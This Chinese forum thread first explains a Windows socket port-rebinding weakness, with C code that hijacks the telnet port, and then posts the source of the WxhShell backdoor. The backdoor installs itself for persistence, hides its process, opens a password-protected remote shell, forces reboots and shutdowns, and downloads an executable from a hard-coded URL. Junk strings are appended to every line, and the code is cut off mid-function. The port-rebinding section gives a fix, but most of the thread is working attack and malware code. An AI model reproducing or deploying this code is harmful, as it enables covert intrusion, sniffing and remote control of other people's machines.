社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10653阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s/0bXM$^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q&kG>  
i*)BFV_-  
  saddr.sin_family = AF_INET; VZ]}9k  
tc|PN+v;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4J{W8jX  
0B]c`$"aD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rNoCmNm  
?dy t!>C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4[ *G  
5 D <  
  这意味着什么?意味着可以进行如下的攻击: MAc jWb~ f  
~='}(Fg:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @x@wo9<Fc  
Y M,UM>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bcYGkvGbO  
GD1L6kVd1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2[CHiB*>  
rM`z2*7%d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yTR5*{?j  
jfU$qo!gi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 717OzrF}A?  
T`2a)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?BR Z){)  
2t;3_C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qV)hCc/ ~  
i.0d>G><@  
  #include "9IR|  
  #include xQ! Va  
  #include (7C$'T-ZK  
  #include    @GWlo\rM6^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TPA*z9n+B  
  int main() [M2xF<r6t  
  { |F +n7  
  WORD wVersionRequested; _LFABG=  
  DWORD ret; o]B2^Yq;x  
  WSADATA wsaData; 6Z5$cR_vC7  
  BOOL val; TMD*-wYr  
  SOCKADDR_IN saddr; uBw[|,yn2*  
  SOCKADDR_IN scaddr; c27Zh=;Tj  
  int err; ' L-h2  
  SOCKET s; $+ORq3  
  SOCKET sc; +bk+0k9k5  
  int caddsize; YbF}>1/"  
  HANDLE mt; %3yrX>Js  
  DWORD tid;   ~xJ ^YkyH  
  wVersionRequested = MAKEWORD( 2, 2 ); `o0ISJeKp  
  err = WSAStartup( wVersionRequested, &wsaData ); |\RN%w7E8  
  if ( err != 0 ) { XO5E-Nh  
  printf("error!WSAStartup failed!\n"); "iJAM`Hi  
  return -1; 5O~;^0iC  
  } k)zBw(wr  
  saddr.sin_family = AF_INET; TVVu_ib  
   j:$Z-s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  USJ4Z  
8l<~zIoO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;?Q0mXr  
  saddr.sin_port = htons(23); f\z9?Z(~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F(`Q62o@  
  { 65GC7 >[  
  printf("error!socket failed!\n"); G+t zp&G@  
  return -1; SduUXHk  
  } 3}B-n!|*  
  val = TRUE; ; hU9_e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CoV @{Pi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cqp^**s  
  { 9t7 e~&R  
  printf("error!setsockopt failed!\n"); ?lm<)y?I7+  
  return -1;  CVZ 4:p  
  } 7 6HB@'xY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !iAZEOkRR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <9x|)2P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fVYv 2  
O O-Obg^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ppu<k N  
  { [OFT!=.y &  
  ret=GetLastError(); t&-c?&FO\;  
  printf("error!bind failed!\n"); fO83 7  
  return -1; z=4E#y `?U  
  } \}Kad\)  
  listen(s,2); N@"e^i  
  while(1) r<;Y4<,BZ  
  { I]B9+Z?xo  
  caddsize = sizeof(scaddr); _k5$.f:Yj<  
  //接受连接请求 iig&O(,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dB Hki*.u  
  if(sc!=INVALID_SOCKET) Is97>aid  
  { bBQHxH}vi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9lX[rBZ  
  if(mt==NULL) V/)3d  
  { /x /W>J2  
  printf("Thread Creat Failed!\n"); hysxHOL  
  break; \\/ !I   
  } nTsPX Tat  
  } 3]>YBbXvE  
  CloseHandle(mt); }'\M}YM  
  } E8o9ufj3  
  closesocket(s); Y3xEFqMU  
  WSACleanup(); 8g/r8u~  
  return 0; /sVmQqVY  
  }   K,*IfHi6[  
  DWORD WINAPI ClientThread(LPVOID lpParam) k,y#|bf,Y  
  { ">s0B5F7  
  SOCKET ss = (SOCKET)lpParam; kEg~yN  
  SOCKET sc; :0Fwaw9PH"  
  unsigned char buf[4096]; lb]k"L%KU7  
  SOCKADDR_IN saddr; eh*F/Gu  
  long num; ^fM=|.?  
  DWORD val; 5 d|+c<  
  DWORD ret; $-)y59w"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bL5dCQxty  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5a* Awv}  
  saddr.sin_family = AF_INET; .\)p3pC)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FFH {#|_1  
  saddr.sin_port = htons(23); 94XRf"^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) |hHbD^V  
  { Uzk_ae  
  printf("error!socket failed!\n"); cr{dl\ Na  
  return -1; s'@@q  
  } bre6SP@  
  val = 100; :Czvwp{z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VE/~tT;  
  { 6.4,Qae9E  
  ret = GetLastError(); )sapUnqrlR  
  return -1; s_,&"->  
  } <zu)=W'R]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,-BZsZ0~  
  { yAc}4*;T/  
  ret = GetLastError(); A3zNUad;  
  return -1; /zV0kW>N  
  } *tT5Zt/&Sr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t aOsC! Bp  
  { ,I[A~  
  printf("error!socket connect failed!\n"); 8\Eq(o}7  
  closesocket(sc); 7M9s}b%?  
  closesocket(ss); 3*b!]^d:D  
  return -1; &S# bLE  
  } ~ K|o@LK  
  while(1) %P]-wBJw  
  { UmQ'=@^kR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZP%Bu2xd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NO)vk+   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fGLOXbsA  
  num = recv(ss,buf,4096,0); .{ ]=v  
  if(num>0) R7By=Y!t  
  send(sc,buf,num,0); F~O! J@4]  
  else if(num==0) bRAf!<3  
  break; NPR{g!tK%  
  num = recv(sc,buf,4096,0); !!t@ H\  
  if(num>0)  ]cI(||x  
  send(ss,buf,num,0); ?r~](l   
  else if(num==0) O4 Y;  
  break; Va'K~$d_  
  } iAW oKW  
  closesocket(ss); sfNAGez  
  closesocket(sc); m;I;{+"u  
  return 0 ; |&%l @X 6  
  } %u|qAF2uS  
~LzTqMHM  
>:P3j<xTv  
========================================================== RwwX;I"o%  
:Zd# }P  
下边附上一个代码,,WXhSHELL wwmODw<tT  
1vxh3KS.  
========================================================== (.3L'+F  
 ?hpk)Qu  
#include "stdafx.h" XC{(O:EG  
}c,}+{q  
#include <stdio.h> AuYi$?8|5  
#include <string.h> 'C*NyHc  
#include <windows.h> -/&6}lD  
#include <winsock2.h> VVje|T^{Z  
#include <winsvc.h> }fs;yPl,  
#include <urlmon.h> )+9D$m=P;  
Lp*T=]C]  
#pragma comment (lib, "Ws2_32.lib") W.,J'  
#pragma comment (lib, "urlmon.lib") V1;Qt-i  
73(T+6`  
#define MAX_USER   100 // 最大客户端连接数 4%j&]PASa1  
#define BUF_SOCK   200 // sock buffer YKvFZH)  
#define KEY_BUFF   255 // 输入 buffer .< vg[  
AjANuyUaP  
#define REBOOT     0   // 重启 C5RDP~au  
#define SHUTDOWN   1   // 关机 S8vmXlD  
|/lIasI  
#define DEF_PORT   5000 // 监听端口 NI s4v(!  
@#H{nj Z  
#define REG_LEN     16   // 注册表键长度 n7q-)Dv_U  
#define SVC_LEN     80   // NT服务名长度 Q84KU8?d  
::T<de7  
// 从dll定义API v V^GIWK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pmW=l/6+V3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j*:pW;)^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z ''P5B;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5!ReW39c ;  
u\.sS|$  
// wxhshell配置信息 C aJD*  
struct WSCFG { QT&{M #Ydn  
  int ws_port;         // 监听端口 #Aanv  
  char ws_passstr[REG_LEN]; // 口令 n ~3c<{coZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 49zp@a  
  char ws_regname[REG_LEN]; // 注册表键名 0\~Zg  
  char ws_svcname[REG_LEN]; // 服务名 %-'U9e KN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *-Yw0Y[E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .yP 3}Nl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \%Smp2K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BVNh>^W5B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6kuSkd$.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $WPN.,7  
!aEp88u  
}; V7@xr M  
+{w& ksk  
// default Wxhshell configuration SA7,]&Zb  
struct WSCFG wscfg={DEF_PORT, kv4J@  
    "xuhuanlingzhe", )nk>*oE  
    1, NR[mzJv  
    "Wxhshell", n|*V 8VaL  
    "Wxhshell", DJW1kR  
            "WxhShell Service", I.<#t(io  
    "Wrsky Windows CmdShell Service", ;hZ@C!S:  
    "Please Input Your Password: ", 5nn*)vK {  
  1, Bm7GU`j"  
  "http://www.wrsky.com/wxhshell.exe", -?'CUm*Od  
  "Wxhshell.exe" "}EbA3  
    }; f\^QV  
WE7l[<b  
// 消息定义模块 7@"X~C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XHg %X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q}T9NzOH%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ~EM];i  
char *msg_ws_ext="\n\rExit."; e4b~s  
char *msg_ws_end="\n\rQuit."; Mww]l[1'EL  
char *msg_ws_boot="\n\rReboot..."; D{l((t3=T  
char *msg_ws_poff="\n\rShutdown..."; .0|J+D  
char *msg_ws_down="\n\rSave to "; yW&i Uh=0  
!jW32$YTR  
char *msg_ws_err="\n\rErr!"; .2P?1HpK  
char *msg_ws_ok="\n\rOK!"; 6J*`<k/ S  
Y"jDZG?  
char ExeFile[MAX_PATH]; aS7zG2R4H  
int nUser = 0; GT.^u#r  
HANDLE handles[MAX_USER]; }a1UOScO0  
int OsIsNt; 1m)/_y~1 k  
WI,=?~-   
SERVICE_STATUS       serviceStatus; 80EY7#r@w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l!=WqIZ  
;R!H\  
// 函数声明 #50)DwD  
int Install(void); 8( D}y\  
int Uninstall(void); yBj)#m5!  
int DownloadFile(char *sURL, SOCKET wsh); Td >k \<  
int Boot(int flag); _2Z3?/Y  
void HideProc(void); +*DX(v"BH  
int GetOsVer(void); >cNXB7]E>  
int Wxhshell(SOCKET wsl); -DnK )u\@  
void TalkWithClient(void *cs); hrD6r=JT<~  
int CmdShell(SOCKET sock); q': wSu u  
int StartFromService(void); <.B s`P  
int StartWxhshell(LPSTR lpCmdLine); 8TPm[r]  
KIFx &A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]EnaZWyO]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PpRO7(<cD  
o4;Nb|kk9+  
// 数据结构和表定义 dE]"^O#Mc  
SERVICE_TABLE_ENTRY DispatchTable[] = 0mh8.  
{ F udD  
{wscfg.ws_svcname, NTServiceMain}, GvOAs-$  
{NULL, NULL} 4g9b[y~U  
}; &^_(xgJL  
(O2HB-<rY  
// 自我安装 eeZysCy+DY  
int Install(void) V2,WP  
{ n y)P  
  char svExeFile[MAX_PATH]; u&xK>7  
  HKEY key; ([-=NT}Aq  
  strcpy(svExeFile,ExeFile); o z{j2%  
ha=z<Q  
// 如果是win9x系统,修改注册表设为自启动 => =x0gsgj  
if(!OsIsNt) { ,`zRlkX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g4~qc I=a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I)6Sbt JV^  
  RegCloseKey(key); #L0I+ K,K\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I uj=d~|>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CJixK>Y^  
  RegCloseKey(key); ~bTae =FP  
  return 0; -<!17jy  
    } 1>VS/H`  
  } b H_pNx81  
} c$kb0VR  
else { >}{-!  
Td1ba^J  
// 如果是NT以上系统,安装为系统服务 *v ^"4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sp,Q,Q4  
if (schSCManager!=0) O + & xb  
{ !(K{*7|h  
  SC_HANDLE schService = CreateService QCfpDE}  
  ( `;CU[Ps?]  
  schSCManager, 7$W;4!BN*  
  wscfg.ws_svcname, _ D9@<+MS*  
  wscfg.ws_svcdisp, vGwD~R  
  SERVICE_ALL_ACCESS, ;Ph)BY<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U/!&KsnT  
  SERVICE_AUTO_START, _|B&v  
  SERVICE_ERROR_NORMAL, (iOCzZ6S  
  svExeFile, /^ 3oq]  
  NULL, -Q PWi2:k  
  NULL, u7&'3ef  
  NULL, aSkx#mV  
  NULL, cC^C7AAq^  
  NULL qd~98FS  
  ); YG~ o  
  if (schService!=0) <>i+R#u{  
  { n qLAby_  
  CloseServiceHandle(schService); -5v.1y=!L  
  CloseServiceHandle(schSCManager); gQ=POJ=G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kj!7|1i2  
  strcat(svExeFile,wscfg.ws_svcname); Au} ;z6k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^;$a_$ |  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4t Nvq  
  RegCloseKey(key); h+~df(S.  
  return 0; YOV4)P"  
    } E97+GJ3  
  } SWjQ.aM  
  CloseServiceHandle(schSCManager); Q!Ow{(|  
} ioNa~F&  
} pJIE@Q|hi  
C<t'f(4s`u  
return 1; -^4bA<dCCE  
} >2CusT2  
)_ ^WpyzF1  
// 自我卸载 ^I<T+X+<  
int Uninstall(void) MJKl]&  
{ cYM~IA  
  HKEY key; (:-Jl"&R@  
#C1A5JE&  
if(!OsIsNt) { ;xO=Yhc+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k5t^s  
  RegDeleteValue(key,wscfg.ws_regname); H<Kkj  
  RegCloseKey(key); #} ~p^ 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ).}k6v[4)  
  RegDeleteValue(key,wscfg.ws_regname); ,0uo&/Y4L  
  RegCloseKey(key); [AX"ne# M*  
  return 0; [TK? P0  
  } +'['HQ)  
} |@ZqwC=  
} (#B^Hyz!  
else { 6{+_T  
P% +or*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wda\a.bXT  
if (schSCManager!=0) P"9@8aLB  
{ 0L0Jc,(F+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Wb2p'V7$?  
  if (schService!=0) +*_fN ]M  
  { KT];SF ^Y  
  if(DeleteService(schService)!=0) { dmaqXsU8q  
  CloseServiceHandle(schService); z/0yO@_D/q  
  CloseServiceHandle(schSCManager); S -6"f /  
  return 0; ";_K x={  
  } PG6L]o^  
  CloseServiceHandle(schService); 7mn,{2  
  } #5-A&  
  CloseServiceHandle(schSCManager); Xvu)  
} P 0Efh?oZ  
} Y$x"4=~  
R] Disljq  
return 1; "VDk1YX_&l  
} G&@-R{i  
I[=Wmxa?r  
// 从指定url下载文件 X"k^89y$  
int DownloadFile(char *sURL, SOCKET wsh) 9eGCBVW:*  
{ ?UZ$bz  
  HRESULT hr; 'je8k7`VA  
char seps[]= "/"; ] ^; b  
char *token; B9LSxB  
char *file; R2N^'  
char myURL[MAX_PATH]; 13.{Y)  
char myFILE[MAX_PATH]; bk7^%O>  
&gWMl`3^*!  
strcpy(myURL,sURL); @TA8^ND  
  token=strtok(myURL,seps); JN&MyA"  
  while(token!=NULL) m)@Q_{=6M  
  { Mr=}B6`  
    file=token; #.)xm(Ys  
  token=strtok(NULL,seps); Mu'^OX82  
  } +MNSZLP]  
P?q G  
GetCurrentDirectory(MAX_PATH,myFILE); V;iL[  
strcat(myFILE, "\\"); JlC<MQ?  
strcat(myFILE, file); [xtK"E#  
  send(wsh,myFILE,strlen(myFILE),0); ZI58XS+  
send(wsh,"...",3,0); DYo<5^0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }c` ?0FQ  
  if(hr==S_OK) uX<+hG.n}  
return 0; h4Xc Kv+  
else WYwzo V-  
return 1; ezcS[r  
#D`S  
} t7|MkX1  
YKP=0 j3,  
// 系统电源模块 |?x^8e<*  
int Boot(int flag) =$b-xsmeG  
{ m x3}m?WQ  
  HANDLE hToken; [as-3&5S  
  TOKEN_PRIVILEGES tkp; oMh~5 W  
+P [88!  
  if(OsIsNt) { u?q&K|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zk]k1]u*5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3TU'*w &  
    tkp.PrivilegeCount = 1; 7o;x (9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >"cr-LB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s.^c..e75C  
if(flag==REBOOT) { *nYB o\@g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CV!;oB&  
  return 0; I:F'S#  
} #"Fg%36Zd  
else { 99F>n[5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4@DVc7\x$  
  return 0; X$Q2m{dR  
} B;eW/#`  
  } x 8 f6,  
  else { )UR1E?'  
if(flag==REBOOT) { J#6LSD@ (O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n&_YYEHx  
  return 0; @<vF]\Ce  
} _/|8%])  
else { G$cxDGo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u=vh Z%A]  
  return 0; 8W-]t1O%!  
} }US7 N w  
} uyL72($  
&}zRH}s;  
return 1; w`M]0'zls  
} OYBotk]{1  
{hxW,mmA  
// win9x进程隐藏模块 M} O[`Fx{W  
void HideProc(void) s,84*6u  
{ 4$%`Qh>yA  
65lOX$*{-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  pz$_W  
  if ( hKernel != NULL ) -{!&/;Z  
  { e@[9C(5E"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >RM 0=bO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G-2EQ.  
    FreeLibrary(hKernel); DZJ eup?Z  
  } (F_w>w.h  
Tc:sldtCk  
return; q;p.wEbr4U  
} a ]>VZOet  
!loO%3_)  
// 获取操作系统版本 ]a)IMIh;  
int GetOsVer(void) = Q@6c   
{ PM@XtL7J  
  OSVERSIONINFO winfo; j\! e9M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f](I.lm:  
  GetVersionEx(&winfo); !0b%Jh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?4:rP@  
  return 1; LxB&7  
  else E\w+kAAf  
  return 0; fzl=d_  
} bpGzTU  
HP;|'b  
// 客户端句柄模块 V R"8Di&)  
int Wxhshell(SOCKET wsl) MM7"a?y)  
{ s}jlS  
  SOCKET wsh; :#Ty^-"]1  
  struct sockaddr_in client; _~PO  
  DWORD myID; s){Q&E~X  
7O:"~L  
  while(nUser<MAX_USER) p[u4,  
{ C+`xx('N9  
  int nSize=sizeof(client); .XIr?>G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EVG"._I@  
  if(wsh==INVALID_SOCKET) return 1; ` %uK0qw"  
S:#e8H_7m]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Im6U_JsNZh  
if(handles[nUser]==0) `\wUkmH  
  closesocket(wsh); }0Y`|H\v  
else NJ<N%hcjK  
  nUser++; `y'aH 'EEd  
  } ):S!Nl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2pz4rc  
$1~c_<DN  
  return 0; uw_H:-J  
} =w6}\ 'X  
4X*Q6rW  
// 关闭 socket Uh*@BmDA  
void CloseIt(SOCKET wsh) {f-XyF1`  
{ )PwQ^||{  
closesocket(wsh); +uELTHH=  
nUser--; /0 _zXQyV  
ExitThread(0); (oF-O{  
} oQ{cSThj  
o'96ON0  
// 客户端请求句柄 /V#7=,,  
void TalkWithClient(void *cs) #J\s%60pt  
{ dKb ^x^  
r( M[8@Nz  
  SOCKET wsh=(SOCKET)cs; ~ibF M5m  
  char pwd[SVC_LEN]; of=ql  
  char cmd[KEY_BUFF]; vffH  
char chr[1]; "(<%Ua  
int i,j; Y_+ SA|s  
y[7C% Wj  
  while (nUser < MAX_USER) { /,X7.t_-  
9l#gMFknI  
if(wscfg.ws_passstr) { IYLZ +>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T RDxT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 tF:  
  //ZeroMemory(pwd,KEY_BUFF); vnL?O8`c  
      i=0; JxHv<p[  
  while(i<SVC_LEN) { '^DUq?E4  
>4~#%&  
  // 设置超时 W1hX?!xp!  
  fd_set FdRead; <}cZi4l'  
  struct timeval TimeOut; $D}"k!H  
  FD_ZERO(&FdRead); G~(& 3  
  FD_SET(wsh,&FdRead); 'aZAS Pn[  
  TimeOut.tv_sec=8; S_$nCyaH2  
  TimeOut.tv_usec=0; eKyqU9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SetX#e?q~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p.5e: i^LJ  
=6fB*bNk]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RbKwO} z$q  
  pwd=chr[0]; bf(+ldq  
  if(chr[0]==0xd || chr[0]==0xa) { R1Yqz $#  
  pwd=0; 94y9W#  
  break; 6P^hN%0  
  } ~pRs-  
  i++; >P<'L4;  
    } _CL{IY  
m d_g}N(C  
  // 如果是非法用户,关闭 socket i\  "{#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Pf>Z? /d  
} @%:E  }  
h"r!q[MN o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @+E7w6>%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6^ab@GrN\  
I3PQdAs~&h  
while(1) { *x!LKIpv  
&Q~)]|t  
  ZeroMemory(cmd,KEY_BUFF); UhdqY]  
G1/Gq.<  
      // 自动支持客户端 telnet标准   .zIgbv s  
  j=0; m@[3~ 6A  
  while(j<KEY_BUFF) { /S[?{QA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f7 wm w2  
  cmd[j]=chr[0]; o[oqPN3$Y  
  if(chr[0]==0xa || chr[0]==0xd) { dWUUxKC  
  cmd[j]=0; h9jc,X u5X  
  break; ?9Ma^C;}  
  }  E>"8 /  
  j++; ($'V& x8T  
    } F<gMUDB  
#"<?_fao~  
  // 下载文件 J 3B`Krh  
  if(strstr(cmd,"http://")) { Hnd+l)ng  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qh8C,"a  
  if(DownloadFile(cmd,wsh)) UBIIo'u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1fRP1  
  else )(]Envb?A0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JRo;(wqZ  
  } Bq;1^gtpe  
  else { &r:=KT3  
Sz)b7:  
    switch(cmd[0]) { >: $"a  
  x;(g  
  // 帮助 lC4PKm no  
  case '?': { *Dc@CmBr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YD9!=a$  
    break; fbV@=(y?  
  } .`+yo0O:  
  // 安装 O J>iq@ >  
  case 'i': { 5NFRPGYX  
    if(Install()) a%*_2#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0MrN:M2B  
    else ^vM_kAr A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #D0 ~{H  
    break; `O n(v  
    } G1[(F`t>  
  // 卸载 B!uxs  
  case 'r': { He<;4?:  
    if(Uninstall()) +q-c 8z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]!faA\1  
    else U!Mf]3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `S$sQ&  
    break; U6c@Et,  
    } . pP7"E4]  
  // 显示 wxhshell 所在路径 ^vaL8+  
  case 'p': { 5k~\or 5_  
    char svExeFile[MAX_PATH]; g}Mi9Kp  
    strcpy(svExeFile,"\n\r"); !5~k:1=  
      strcat(svExeFile,ExeFile); O2lIlCL  
        send(wsh,svExeFile,strlen(svExeFile),0); }lO }x  
    break; p6Gcts?,  
    } ayeCi8  
  // 重启 Qsji0ikG  
  case 'b': { 37jQ'O U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LihdZ )  
    if(Boot(REBOOT)) N iISJWk6'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '$6PTa  
    else { S(tEw Xy  
    closesocket(wsh); R"{l[9j4>  
